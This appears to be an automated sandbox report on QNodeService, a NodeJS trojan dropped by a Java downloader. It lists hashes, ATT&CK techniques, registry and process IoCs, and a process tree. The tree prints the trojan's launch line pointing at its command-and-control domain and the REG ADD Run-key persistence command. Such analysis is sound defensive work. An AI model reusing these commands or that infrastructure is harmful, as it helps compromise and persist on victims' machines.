qnodeservice | 846a118d19c8f3d72b77fd81af21a17f0b006f1a86eae66b6ef9b43f4be70e12

General

Target

AWB20201012.jar
Size

183KB
MD5

aa3320b8e3e59a930e952619b4f0b0ed
SHA1

100a79f58f7402410d87c399c85765d0d26e365a
SHA256

846a118d19c8f3d72b77fd81af21a17f0b006f1a86eae66b6ef9b43f4be70e12
SHA512

1c9091e9c30f9698057858a2309822b41b8cd153b0c14cf9981a1ab0b104c71cafe7743670e781c8e9f8bd20bf5f577d200b94e6785620688f9c4129495e57c2

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
904	node.exe
644	node.exe
2608	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\7aed7602-3923-4da3-bc68-f2e2ce2a3a34 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad92-168.dat	js
behavioral2/files/0x000100000001ad92-171.dat	js
behavioral2/files/0x000100000001ad92-175.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	wtfismyip.com
16	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
904	node.exe
904	node.exe
904	node.exe
904	node.exe
644	node.exe
644	node.exe
644	node.exe
644	node.exe
2608	node.exe
2608	node.exe
2608	node.exe
2608	node.exe
2608	node.exe
2608	node.exe
2608	node.exe
2608	node.exe
2608	node.exe
2608	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2920 wrote to memory of 2380	2920	java.exe	74
PID 2920 wrote to memory of 2380	2920	java.exe	74
PID 2380 wrote to memory of 904	2380	javaw.exe	78
PID 2380 wrote to memory of 904	2380	javaw.exe	78
PID 904 wrote to memory of 644	904	node.exe	80
PID 904 wrote to memory of 644	904	node.exe	80
PID 644 wrote to memory of 2608	644	node.exe	81
PID 644 wrote to memory of 2608	644	node.exe	81
PID 2608 wrote to memory of 1700	2608	node.exe	83
PID 2608 wrote to memory of 1700	2608	node.exe	83
PID 1700 wrote to memory of 3940	1700	cmd.exe	84
PID 1700 wrote to memory of 3940	1700	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\AWB20201012.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:2920
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\91eba624.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2380
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain chinpao.hopto.org --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:904
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_MLgw1o\boot.js --hub-domain chinpao.hopto.org --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:644
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_MLgw1o\boot.js --hub-domain chinpao.hopto.org --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2608
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "7aed7602-3923-4da3-bc68-f2e2ce2a3a34" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1700
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "7aed7602-3923-4da3-bc68-f2e2ce2a3a34" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3940

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/644-172-0x0000033254E80000-0x0000033254E81000-memory.dmp

Filesize
4KB

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memory/904-169-0x000002C873740000-0x000002C873741000-memory.dmp

Filesize
4KB

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memory/2608-176-0x00000024C2400000-0x00000024C2401000-memory.dmp

Filesize
4KB

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